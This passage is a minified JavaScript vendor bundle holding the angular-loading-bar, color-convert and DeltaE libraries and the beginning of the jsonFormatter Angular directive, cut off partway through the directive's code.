!function(){"use strict";angular.module("angular-loading-bar",["cfp.loadingBarInterceptor"]);angular.module("chieffancypants.loadingBar",["cfp.loadingBarInterceptor"]);angular.module("cfp.loadingBarInterceptor",["cfp.loadingBar"]).config(["$httpProvider",function(n){var t=["$q","$cacheFactory","$timeout","$rootScope","$log","cfpLoadingBar",function(t,i,r,u,f,e){function c(){r.cancel(l);e.complete();s=0;o=0}function h(t){var u,e=i.get("$http"),f=n.defaults,r;return(t.cache||f.cache)&&t.cache!==!1&&("GET"===t.method||"JSONP"===t.method)&&(u=angular.isObject(t.cache)?t.cache:angular.isObject(f.cache)?f.cache:e),r=void 0!==u?void 0!==u.get(t.url):!1,void 0!==t.cached&&r!==t.cached?t.cached:(t.cached=r,r)}var l,o=0,s=0,a=e.latencyThreshold;return{request:function(n){return n.ignoreLoadingBar||h(n)||(u.$broadcast("cfpLoadingBar:loading",{url:n.url}),0===o&&(l=r(function(){e.start()},a)),o++,e.set(s/o)),n},response:function(n){return n&&n.config?(n.config.ignoreLoadingBar||h(n.config)||(s++,u.$broadcast("cfpLoadingBar:loaded",{url:n.config.url,result:n}),s>=o?c():e.set(s/o)),n):(f.error("Broken interceptor detected: Config object not supplied in response:\n https://github.com/chieffancypants/angular-loading-bar/pull/50"),n)},responseError:function(n){return n&&n.config?(n.config.ignoreLoadingBar||h(n.config)||(s++,u.$broadcast("cfpLoadingBar:loaded",{url:n.config.url,result:n}),s>=o?c():e.set(s/o)),t.reject(n)):(f.error("Broken interceptor detected: Config object not supplied in rejection:\n https://github.com/chieffancypants/angular-loading-bar/pull/50"),t.reject(n))}}}];n.interceptors.push(t)}]);angular.module("cfp.loadingBar",[]).provider("cfpLoadingBar",function(){this.autoIncrement=!0;this.includeSpinner=!0;this.includeBar=!0;this.latencyThreshold=100;this.startSize=.02;this.parentSelector="body";this.spinnerTemplate='<div id="loading-bar-spinner"><div class="spinner-icon"><\/div><\/div>';this.loadingBarTemplate='<div id="loading-bar"><div class="bar"><div class="peg"><\/div><\/div><\/div>';this.$get=["$injector","$document","$timeout","$rootScope",function(n,t,i,r){function w(){var c,e,l,a;(u||(u=n.get("$animate")),i.cancel(h),s)||(c=t[0],e=c.querySelector?c.querySelector(y):t.find(y)[0],e||(e=c.getElementsByTagName("body")[0]),l=angular.element(e),a=e.lastChild&&angular.element(e.lastChild),r.$broadcast("cfpLoadingBar:started"),s=!0,nt&&u.enter(o,l,a),g&&u.enter(p,l,o),f(tt))}function f(n){if(s){var t=100*n+"%";k.css("width",t);c=n;d&&(i.cancel(v),v=i(function(){l()},250))}}function l(){var t,n,i;e()>=1||(t=0,n=e(),t=n>=0&&.25>n?(3*Math.random()+3)/100:n>=.25&&.65>n?3*Math.random()/100:n>=.65&&.9>n?Math.random()/50:n>=.9&&.99>n?.005:0,i=e()+t,f(i))}function e(){return c}function a(){c=0;s=!1}function b(){u||(u=n.get("$animate"));r.$broadcast("cfpLoadingBar:completed");f(1);i.cancel(h);h=i(function(){var n=u.leave(o,a);n&&n.then&&n.then(a);u.leave(p)},500)}var u,v,h,y=this.parentSelector,o=angular.element(this.loadingBarTemplate),k=o.find("div").eq(0),p=angular.element(this.spinnerTemplate),s=!1,c=0,d=this.autoIncrement,g=this.includeSpinner,nt=this.includeBar,tt=this.startSize;return{start:w,set:f,status:e,inc:l,complete:b,autoIncrement:this.autoIncrement,includeSpinner:this.includeSpinner,latencyThreshold:this.latencyThreshold,parentSelector:this.parentSelector,startSize:this.startSize}}]})}(),function(n){if(typeof exports=="object"&&typeof module!="undefined")module.exports=n();else if(typeof define=="function"&&define.amd)define([],n);else{var t;t=typeof window!="undefined"?window:typeof global!="undefined"?global:typeof self!="undefined"?self:this;t.colorConvert=n()}}(function(){return function(){function n(t,i,r){function u(f,o){var h,c,s;if(!i[f]){if(!t[f]){if(h="function"==typeof require&&require,!o&&h)return h(f,!0);if(e)return e(f,!0);c=new Error("Cannot find module '"+f+"'");throw c.code="MODULE_NOT_FOUND",c;}s=i[f]={exports:{}};t[f][0].call(s.exports,function(n){var i=t[f][1][n];return u(i||n)},s,s.exports,n,t,i,r)}return i[f].exports}for(var e="function"==typeof require&&require,f=0;f<r.length;f++)u(r[f]);return u}return n}()({1:[function(n,t){function h(n,t){return Math.pow(n[0]-t[0],2)+Math.pow(n[1]-t[1],2)+Math.pow(n[2]-t[2],2)}var u=n("color-name"),e={},f,i,r,o,s;for(f in u)u.hasOwnProperty(f)&&(e[u[f]]=f);i=t.exports={rgb:{channels:3,labels:"rgb"},hsl:{channels:3,labels:"hsl"},hsv:{channels:3,labels:"hsv"},hwb:{channels:3,labels:"hwb"},cmyk:{channels:4,labels:"cmyk"},xyz:{channels:3,labels:"xyz"},lab:{channels:3,labels:"lab"},lch:{channels:3,labels:"lch"},hex:{channels:1,labels:["hex"]},keyword:{channels:1,labels:["keyword"]},ansi16:{channels:1,labels:["ansi16"]},ansi256:{channels:1,labels:["ansi256"]},hcg:{channels:3,labels:["h","c","g"]},apple:{channels:3,labels:["r16","g16","b16"]},gray:{channels:1,labels:["gray"]}};for(r in i)if(i.hasOwnProperty(r)){if(!("channels"in i[r]))throw new Error("missing channels property: "+r);if(!("labels"in i[r]))throw new Error("missing channel labels property: "+r);if(i[r].labels.length!==i[r].channels)throw new Error("channel and label counts mismatch: "+r);o=i[r].channels;s=i[r].labels;delete i[r].channels;delete i[r].labels;Object.defineProperty(i[r],"channels",{value:o});Object.defineProperty(i[r],"labels",{value:s})}i.rgb.hsl=function(n){var u=n[0]/255,f=n[1]/255,e=n[2]/255,r=Math.min(u,f,e),t=Math.max(u,f,e),o=t-r,i,h,s;return t===r?i=0:u===t?i=(f-e)/o:f===t?i=2+(e-u)/o:e===t&&(i=4+(u-f)/o),i=Math.min(i*60,360),i<0&&(i+=360),s=(r+t)/2,h=t===r?0:s<=.5?o/(t+r):o/(2-t-r),[i,h*100,s*100]};i.rgb.hsv=function(n){var e,o,s,t,h,r=n[0]/255,u=n[1]/255,f=n[2]/255,i=Math.max(r,u,f),c=i-Math.min(r,u,f),l=function(n){return(i-n)/6/c+1/2};return c===0?t=h=0:(h=c/i,e=l(r),o=l(u),s=l(f),r===i?t=s-o:u===i?t=1/3+e-s:f===i&&(t=2/3+o-e),t<0?t+=1:t>1&&(t-=1)),[t*360,h*100,i*100]};i.rgb.hwb=function(n){var r=n[0],u=n[1],t=n[2],f=i.rgb.hsl(n)[0],e=1/255*Math.min(r,Math.min(u,t));return t=1-1/255*Math.max(r,Math.max(u,t)),[f,e*100,t*100]};i.rgb.cmyk=function(n){var i=n[0]/255,r=n[1]/255,u=n[2]/255,f,e,o,t;return t=Math.min(1-i,1-r,1-u),f=(1-i-t)/(1-t)||0,e=(1-r-t)/(1-t)||0,o=(1-u-t)/(1-t)||0,[f*100,e*100,o*100,t*100]};i.rgb.keyword=function(n){var f=e[n],i,o,t,s,r;if(f)return f;i=Infinity;for(t in u)u.hasOwnProperty(t)&&(s=u[t],r=h(n,s),r<i&&(i=r,o=t));return o};i.keyword.rgb=function(n){return u[n]};i.rgb.xyz=function(n){var t=n[0]/255,i=n[1]/255,r=n[2]/255;t=t>.04045?Math.pow((t+.055)/1.055,2.4):t/12.92;i=i>.04045?Math.pow((i+.055)/1.055,2.4):i/12.92;r=r>.04045?Math.pow((r+.055)/1.055,2.4):r/12.92;var u=t*.4124+i*.3576+r*.1805,f=t*.2126+i*.7152+r*.0722,e=t*.0193+i*.1192+r*.9505;return[u*100,f*100,e*100]};i.rgb.lab=function(n){var f=i.rgb.xyz(n),r=f[0],t=f[1],u=f[2],e,o,s;return r/=95.047,t/=100,u/=108.883,r=r>.008856?Math.pow(r,1/3):7.787*r+16/116,t=t>.008856?Math.pow(t,1/3):7.787*t+16/116,u=u>.008856?Math.pow(u,1/3):7.787*u+16/116,e=116*t-16,o=500*(r-t),s=200*(t-u),[e,o,s]};i.hsl.rgb=function(n){var h=n[0]/360,o=n[1]/100,i=n[2]/100,r,f,t,s,u,e;if(o===0)return u=i*255,[u,u,u];for(f=i<.5?i*(1+o):i+o-i*o,r=2*i-f,s=[0,0,0],e=0;e<3;e++)t=h+1/3*-(e-1),t<0&&t++,t>1&&t--,u=6*t<1?r+(f-r)*6*t:2*t<1?f:3*t<2?r+(f-r)*(2/3-t)*6:r,s[e]=u*255;return s};i.hsl.hsv=function(n){var o=n[0],i=n[1]/100,t=n[2]/100,u=i,r=Math.max(t,.01),f,e;return t*=2,i*=t<=1?t:2-t,u*=r<=1?r:2-r,e=(t+i)/2,f=t===0?2*u/(r+u):2*i/(t+i),[o,f*100,e*100]};i.hsv.rgb=function(n){var r=n[0]/60,u=n[1]/100,t=n[2]/100,s=Math.floor(r)%6,o=r-Math.floor(r),i=255*t*(1-u),f=255*t*(1-u*o),e=255*t*(1-u*(1-o));t*=255;switch(s){case 0:return[t,e,i];case 1:return[f,t,i];case 2:return[i,t,e];case 3:return[i,f,t];case 4:return[e,i,t];case 5:return[t,i,f]}};i.hsv.hsl=function(n){var o=n[0],r=n[1]/100,f=n[2]/100,e=Math.max(f,.01),i,t,u;return u=(2-r)*f,i=(2-r)*e,t=r*e,t/=i<=1?i:2-i,t=t||0,u/=2,[o,t*100,u*100]};i.hwb.rgb=function(n){var l=n[0]/360,t=n[1]/100,h=n[2]/100,c=t+h,o,i,s,r,u,f,e;c>1&&(t/=c,h/=c);o=Math.floor(6*l);i=1-h;s=6*l-o;(o&1)!=0&&(s=1-s);r=t+s*(i-t);switch(o){default:case 6:case 0:u=i;f=r;e=t;break;case 1:u=r;f=i;e=t;break;case 2:u=t;f=i;e=r;break;case 3:u=t;f=r;e=i;break;case 4:u=r;f=t;e=i;break;case 5:u=i;f=t;e=r}return[u*255,f*255,e*255]};i.cmyk.rgb=function(n){var f=n[0]/100,e=n[1]/100,o=n[2]/100,t=n[3]/100,i,r,u;return i=1-Math.min(1,f*(1-t)+t),r=1-Math.min(1,e*(1-t)+t),u=1-Math.min(1,o*(1-t)+t),[i*255,r*255,u*255]};i.xyz.rgb=function(n){var u=n[0]/100,f=n[1]/100,e=n[2]/100,t,i,r;return t=u*3.2406+f*-1.5372+e*-.4986,i=u*-.9689+f*1.8758+e*.0415,r=u*.0557+f*-.204+e*1.057,t=t>.0031308?1.055*Math.pow(t,1/2.4)-.055:t*12.92,i=i>.0031308?1.055*Math.pow(i,1/2.4)-.055:i*12.92,r=r>.0031308?1.055*Math.pow(r,1/2.4)-.055:r*12.92,t=Math.min(Math.max(0,t),1),i=Math.min(Math.max(0,i),1),r=Math.min(Math.max(0,r),1),[t*255,i*255,r*255]};i.xyz.lab=function(n){var i=n[0],t=n[1],r=n[2],u,f,e;return i/=95.047,t/=100,r/=108.883,i=i>.008856?Math.pow(i,1/3):7.787*i+16/116,t=t>.008856?Math.pow(t,1/3):7.787*t+16/116,r=r>.008856?Math.pow(r,1/3):7.787*r+16/116,u=116*t-16,f=500*(i-t),e=200*(t-r),[u,f,e]};i.lab.xyz=function(n){var o=n[0],s=n[1],h=n[2],i,t,r;t=(o+16)/116;i=s/500+t;r=t-h/200;var u=Math.pow(t,3),f=Math.pow(i,3),e=Math.pow(r,3);return t=u>.008856?u:(t-16/116)/7.787,i=f>.008856?f:(i-16/116)/7.787,r=e>.008856?e:(r-16/116)/7.787,i*=95.047,t*=100,r*=108.883,[i,t,r]};i.lab.lch=function(n){var e=n[0],i=n[1],r=n[2],u,t,f;return u=Math.atan2(r,i),t=u*180/Math.PI,t<0&&(t+=360),f=Math.sqrt(i*i+r*r),[e,f,t]};i.lch.lab=function(n){var f=n[0],i=n[1],e=n[2],r,u,t;return t=e/180*Math.PI,r=i*Math.cos(t),u=i*Math.sin(t),[f,r,u]};i.rgb.ansi16=function(n){var u=n[0],f=n[1],e=n[2],t=1 in arguments?arguments[1]:i.rgb.hsv(n)[2],r;return(t=Math.round(t/50),t===0)?30:(r=30+(Math.round(e/255)<<2|Math.round(f/255)<<1|Math.round(u/255)),t===2&&(r+=60),r)};i.hsv.ansi16=function(n){return i.rgb.ansi16(i.hsv.rgb(n),n[2])};i.rgb.ansi256=function(n){var t=n[0],i=n[1],r=n[2];return t===i&&i===r?t<8?16:t>248?231:Math.round((t-8)/247*24)+232:16+36*Math.round(t/51)+6*Math.round(i/51)+Math.round(r/51)};i.ansi16.rgb=function(n){var t=n%10;if(t===0||t===7)return n>50&&(t+=3.5),t=t/10.5*255,[t,t,t];var i=(~~(n>50)+1)*.5,r=(t&1)*i*255,u=(t>>1&1)*i*255,f=(t>>2&1)*i*255;return[r,u,f]};i.ansi256.rgb=function(n){var t;if(n>=232)return t=(n-232)*10+8,[t,t,t];n-=16;var i,r=Math.floor(n/36)*51,u=Math.floor((i=n%36)/6)*51,f=i%6*51;return[r,u,f]};i.rgb.hex=function(n){var i=((Math.round(n[0])&255)<<16)+((Math.round(n[1])&255)<<8)+(Math.round(n[2])&255),t=i.toString(16).toUpperCase();return"000000".substring(t.length)+t};i.hex.rgb=function(n){var i=n.toString(16).match(/[a-f0-9]{6}|[a-f0-9]{3}/i),t;if(!i)return[0,0,0];t=i[0];i[0].length===3&&(t=t.split("").map(function(n){return n+n}).join(""));var r=parseInt(t,16),u=r>>16&255,f=r>>8&255,e=r&255;return[u,f,e]};i.rgb.hcg=function(n){var i=n[0]/255,r=n[1]/255,u=n[2]/255,e=Math.max(Math.max(i,r),u),o=Math.min(Math.min(i,r),u),t=e-o,s,f;return s=t<1?o/(1-t):0,f=t<=0?0:e===i?(r-u)/t%6:e===r?2+(u-i)/t:4+(i-r)/t+4,f/=6,f%=1,[f*360,t*100,s*100]};i.hsl.hcg=function(n){var r=n[1]/100,i=n[2]/100,t=1,u=0;return t=i<.5?2*r*i:2*r*(1-i),t<1&&(u=(i-.5*t)/(1-t)),[n[0],t*100,u*100]};i.hsv.hcg=function(n){var u=n[1]/100,i=n[2]/100,t=u*i,r=0;return t<1&&(r=(i-t)/(1-t)),[n[0],t*100,r*100]};i.hcg.rgb=function(n){var s=n[0]/360,i=n[1]/100,r=n[2]/100;if(i===0)return[r*255,r*255,r*255];var t=[0,0,0],o=s%1*6,u=o%1,e=1-u,f=0;switch(Math.floor(o)){case 0:t[0]=1;t[1]=u;t[2]=0;break;case 1:t[0]=e;t[1]=1;t[2]=0;break;case 2:t[0]=0;t[1]=1;t[2]=u;break;case 3:t[0]=0;t[1]=e;t[2]=1;break;case 4:t[0]=u;t[1]=0;t[2]=1;break;default:t[0]=1;t[1]=0;t[2]=e}return f=(1-i)*r,[(i*t[0]+f)*255,(i*t[1]+f)*255,(i*t[2]+f)*255]};i.hcg.hsv=function(n){var t=n[1]/100,u=n[2]/100,i=t+u*(1-t),r=0;return i>0&&(r=t/i),[n[0],r*100,i*100]};i.hcg.hsl=function(n){var i=n[1]/100,u=n[2]/100,t=u*(1-i)+.5*i,r=0;return t>0&&t<.5?r=i/(2*t):t>=.5&&t<1&&(r=i/(2*(1-t))),[n[0],r*100,t*100]};i.hcg.hwb=function(n){var t=n[1]/100,r=n[2]/100,i=t+r*(1-t);return[n[0],(i-t)*100,(1-i)*100]};i.hwb.hcg=function(n){var u=n[1]/100,f=n[2]/100,i=1-f,t=i-u,r=0;return t<1&&(r=(i-t)/(1-t)),[n[0],t*100,r*100]};i.apple.rgb=function(n){return[n[0]/257,n[1]/257,n[2]/257]};i.rgb.apple=function(n){return[n[0]*257,n[1]*257,n[2]*257]};i.gray.rgb=function(n){return[n[0]/100*255,n[0]/100*255,n[0]/100*255]};i.gray.hsl=i.gray.hsv=function(n){return[0,0,n[0]]};i.gray.hwb=function(n){return[0,100,n[0]]};i.gray.cmyk=function(n){return[0,0,0,n[0]]};i.gray.lab=function(n){return[n[0],0,0]};i.gray.hex=function(n){var t=Math.round(n[0]/100*255)&255,r=(t<<16)+(t<<8)+t,i=r.toString(16).toUpperCase();return"000000".substring(i.length)+i};i.rgb.gray=function(n){var t=(n[0]+n[1]+n[2])/3;return[t/255*100]}},{"color-name":4}],2:[function(n,t){function e(n){var t=function(t){return t===undefined||t===null?t:(arguments.length>1&&(t=Array.prototype.slice.call(arguments)),n(t))};return"conversion"in n&&(t.conversion=n.conversion),t}function o(n){var t=function(t){var i,u,r;if(t===undefined||t===null)return t;if(arguments.length>1&&(t=Array.prototype.slice.call(arguments)),i=n(t),typeof i=="object")for(u=i.length,r=0;r<u;r++)i[r]=Math.round(i[r]);return i};return"conversion"in n&&(t.conversion=n.conversion),t}var r=n("./conversions"),u=n("./route"),i={},f=Object.keys(r);f.forEach(function(n){i[n]={};Object.defineProperty(i[n],"channels",{value:r[n].channels});Object.defineProperty(i[n],"labels",{value:r[n].labels});var t=u(n),f=Object.keys(t);f.forEach(function(r){var u=t[r];i[n][r]=o(u);i[n][r].raw=e(u)})});t.exports=i},{"./conversions":1,"./route":3}],3:[function(n,t){function r(){for(var t={},r=Object.keys(i),u=r.length,n=0;n<u;n++)t[r[n]]={distance:-1,parent:null};return t}function u(n){var t=r(),o=[n],u,s,c,f,h,e;for(t[n].distance=0;o.length;)for(u=o.pop(),s=Object.keys(i[u]),c=s.length,f=0;f<c;f++)h=s[f],e=t[h],e.distance===-1&&(e.distance=t[u].distance+1,e.parent=u,o.unshift(h));return t}function f(n,t){return function(i){return t(n(i))}}function e(n,t){for(var e=[t[n].parent,n],u=i[t[n].parent][n],r=t[n].parent;t[r].parent;)e.unshift(t[r].parent),u=f(i[t[r].parent][r],u),r=t[r].parent;return u.conversion=e,u}var i=n("./conversions");t.exports=function(n){for(var t,s,i=u(n),f={},o=Object.keys(i),h=o.length,r=0;r<h;r++)(t=o[r],s=i[t],s.parent!==null)&&(f[t]=e(t,i));return f}},{"./conversions":1}],4:[function(n,t){"use strict";t.exports={aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],grey:[128,128,128],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],rebeccapurple:[102,51,153],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]}},{}]},{},[2])(2)});!function(n){if("object"==typeof exports&&"undefined"!=typeof module)module.exports=n();else if("function"==typeof define&&define.amd)define([],n);else{var t;t="undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:this;t.DeltaE=n()}}(function(){return function n(t,i,r){function u(f,o){var h,c,s;if(!i[f]){if(!t[f]){if(h="function"==typeof require&&require,!o&&h)return h(f,!0);if(e)return e(f,!0);c=new Error("Cannot find module '"+f+"'");throw c.code="MODULE_NOT_FOUND",c;}s=i[f]={exports:{}};t[f][0].call(s.exports,function(n){var i=t[f][1][n];return u(i?i:n)},s,s.exports,n,t,i,r)}return i[f].exports}for(var e="function"==typeof require&&require,f=0;f<r.length;f++)u(r[f]);return u}({1:[function(n,t){"use strict";function i(){}var r=n("./dE76"),u=n("./dE94"),f=n("./dE00");i.prototype.getDeltaE76=function(n,t){var i=new r(n,t);return i.getDeltaE()};i.prototype.getDeltaE94=function(n,t){var i=new u(n,t);return i.getDeltaE()};i.prototype.getDeltaE00=function(n,t){var i=new f(n,t);return i.getDeltaE()};t.exports=new i},{"./dE00":2,"./dE76":3,"./dE94":4}],2:[function(n,t){"use strict";function i(n,t,i){var u=Math.sqrt,r=Math.pow;this.x1=n;this.x2=t;this.weights=i||{};this.ksubL=this.weights.lightness||1;this.ksubC=this.weights.chroma||1;this.ksubH=this.weights.hue||1;this.deltaLPrime=t.L-n.L;this.LBar=(n.L+t.L)/2;this.C1=u(r(n.A,2)+r(n.B,2));this.C2=u(r(t.A,2)+r(t.B,2));this.CBar=(this.C1+this.C2)/2;this.aPrime1=n.A+n.A/2*(1-u(r(this.CBar,7)/(r(this.CBar,7)+r(25,7))));this.aPrime2=t.A+t.A/2*(1-u(r(this.CBar,7)/(r(this.CBar,7)+r(25,7))));this.CPrime1=u(r(this.aPrime1,2)+r(n.B,2));this.CPrime2=u(r(this.aPrime2,2)+r(t.B,2));this.CBarPrime=(this.CPrime1+this.CPrime2)/2;this.deltaCPrime=this.CPrime2-this.CPrime1;this.SsubL=1+.015*r(this.LBar-50,2)/u(20+r(this.LBar-50,2));this.SsubC=1+.045*this.CBarPrime;this.hPrime1=0;this.hPrime2=0;this.deltahPrime=0;this.deltaHPrime=0;this.HBarPrime=0;this.T=0;this.SsubH=0;this.RsubT=0}i.prototype.getDeltaE=function(){var t=Math.sqrt,u=Math.sin,n=Math.pow;this.hPrime1=this.gethPrime1();this.hPrime2=this.gethPrime2();this.deltahPrime=this.getDeltahPrime();this.deltaHPrime=2*t(this.CPrime1*this.CPrime2)*u(this.degreesToRadians(this.deltahPrime)/2);this.HBarPrime=this.getHBarPrime();this.T=this.getT();this.SsubH=1+.015*this.CBarPrime*this.T;this.RsubT=this.getRsubT();var f=this.deltaLPrime/(this.ksubL*this.SsubL),i=this.deltaCPrime/(this.ksubC*this.SsubC),r=this.deltaHPrime/(this.ksubH*this.SsubH);return t(n(f,2)+n(i,2)+n(r,2)+this.RsubT*i*r)};i.prototype.getRsubT=function(){var t=Math.sin,i=Math.sqrt,n=Math.pow,r=Math.exp;return-2*i(n(this.CBarPrime,7)/(n(this.CBarPrime,7)+n(25,7)))*t(this.degreesToRadians(60*r(-n((this.HBarPrime-275)/25,2))))};i.prototype.getT=function(){var n=Math.cos;return 1-.17*n(this.degreesToRadians(this.HBarPrime-30))+.24*n(this.degreesToRadians(2*this.HBarPrime))+.32*n(this.degreesToRadians(3*this.HBarPrime+6))-.2*n(this.degreesToRadians(4*this.HBarPrime-63))};i.prototype.getHBarPrime=function(){var n=Math.abs;return n(this.hPrime1-this.hPrime2)>180?(this.hPrime1+this.hPrime2+360)/2:(this.hPrime1+this.hPrime2)/2};i.prototype.getDeltahPrime=function(){var n=Math.abs;return 0===this.C1||0===this.C2?0:n(this.hPrime1-this.hPrime2)<=180?this.hPrime2-this.hPrime1:this.hPrime2<=this.hPrime1?this.hPrime2-this.hPrime1+360:this.hPrime2-this.hPrime1-360};i.prototype.gethPrime1=function(){return this._gethPrimeFn(this.x1.B,this.aPrime1)};i.prototype.gethPrime2=function(){return this._gethPrimeFn(this.x2.B,this.aPrime2)};i.prototype._gethPrimeFn=function(n,t){var i;return 0===n&&0===t?0:(i=this.radiansToDegrees(Math.atan2(n,t)),i>=0?i:i+360)};i.prototype.radiansToDegrees=function(n){return n*(180/Math.PI)};i.prototype.degreesToRadians=function(n){return n*(Math.PI/180)};t.exports=i},{}],3:[function(n,t){"use strict";function i(n,t){this.x1=n;this.x2=t}i.prototype.getDeltaE=function(){var n=this.x1,t=this.x2;return Math.sqrt(Math.pow(t.L-n.L,2)+Math.pow(t.A-n.A,2)+Math.pow(t.B-n.B,2))};t.exports=i},{}],4:[function(n,t){"use strict";function i(n,t,i){this.x1=n;this.x2=t;this.weights=i||{};this.weights.lightness=this.weights.lightness||1;this.weights.chroma=this.weights.chroma||1;this.weights.hue=this.weights.hue||1;1===this.weights.lightness?(this.weights.K1=.045,this.weights.K2=.015):(this.weights.K1=.048,this.weights.K2=.014)}i.prototype.getDeltaE=function(){var n=this.x1,t=this.x2,r=Math.sqrt,i=Math.pow;return r(i(this.calculateL(n,t),2)+i(this.calculateA(n,t),2)+i(this.calculateB(n,t),2))};i.prototype.calculateL=function(n,t){return(n.L-t.L)/this.weights.lightness};i.prototype.calculateA=function(n,t){var r=Math.sqrt,i=Math.pow,u=r(i(n.A,2)+i(n.B,2)),f=r(i(t.A,2)+i(t.B,2)),e=u-f,o=1+this.weights.K1*u;return e/(this.weights.chroma*o)};i.prototype.calculateB=function(n,t){var r=Math.sqrt,i=Math.pow,u=r(i(n.A,2)+i(n.B,2)),f=r(i(t.A,2)+i(t.B,2)),e=u-f,o=n.A-t.A,s=n.B-t.B,h=r(i(o,2)+i(s,2)-i(e,2)),u=r(i(n.A,2)+i(n.B,2)),c=1+this.weights.K2*u;return h/c};t.exports=i},{}]},{},[1])(1)});
/*!
 * jsonformatter
 * 
 * Version: 0.6.0 - 2016-04-28T02:57:03.650Z
 * License: Apache-2.0
 */
angular.module("jsonFormatter",["RecursionHelper"]).provider("JSONFormatterConfig",function(){var n=!1,t=100,i=5;return{get hoverPreviewEnabled(){return n},set hoverPreviewEnabled(t){n=!!t},get hoverPreviewArrayCount(){return t},set hoverPreviewArrayCount(n){t=parseInt(n,10)},get hoverPreviewFieldCount(){return i},set hoverPreviewFieldCount(n){i=parseInt(n,10)},$get:function(){return{hoverPreviewEnabled:n,hoverPreviewArrayCount:t,hoverPreviewFieldCount:i}}}}).directive("jsonFormatter",["RecursionHelper","JSONFormatterConfig",function(n,t){function e(n){return n.replace('"','"')}function i(n){if(n===undefined)return"";if(n===null||typeof n=="object"&&!n.constructor)return"Object";var t=/function (.{1,})\(/.exec(n.constructor.toString());return t&&t.length>1?t[1]:""}function r(n){return n===null?"null":typeof n}function u(n,t){var i=r(n);return i==="null"||i==="undefined"?i:(i==="string"&&(t='"'+e(t)+'"'),i==="function")?n.toString().replace(/[\r\n]/g,"").replace(/\{.*\}/,"")+"{…}":t}function f(n){var t="";return angular.isObject(n)?(t=i(n),angular.isArray(n)&&(t+="["+n.length+"]")):t=u(n,n),t}function o(n){n.isArray=function(){return angular.isArray(n.json)};n.isObject=function(){return angular.isObject(n.json)};n.getKeys=function(){if(n.isObject())return Object.keys(n.json).map(function(n){return n===""?'""':n})};n.type=r(n.json);n.hasKey=typeof n.key!="undefined";n.getConstructorName=function(){return i(n.json)};n.type==="string"&&(new Date(n.json).toString()!=="Invalid Date"&&(n.isDate=!0),n.json.indexOf("http")===0&&(n.isUrl=!0));n.isEmptyObject=function(){return n.getKeys()&&!n.getKeys().length&&n.isOpen&&!n.isArray()};n.isOpen=!!n.open;n.toggleOpen=function(){n.isOpen=!n.isOpen};n.childrenOpen=function(){return n.open>1?n.open-1:0};n.openLink=function(t){t&&(window.location.href=n.json)};n.parseValue=function(t){return u(n.json,t)};n.showThumbnail=function(){return!!t.hoverPreviewEnabled&&n.isObject()&&!n.isOpen};n.getThumbnail=function(){if(n.isArray())return n.json.length>t.hoverPreviewArrayCount?"Array["+n.json.length+"]":"["+n.json.map(f).join(", ")+"]";var i=n.getKeys(),r=i.slice(0,t.hoverPreviewFieldCount),u=r.map(function(t){return t+":"+f(n.json[t])}),e=i.length>=5?"…":"";return"{"+u.join(", 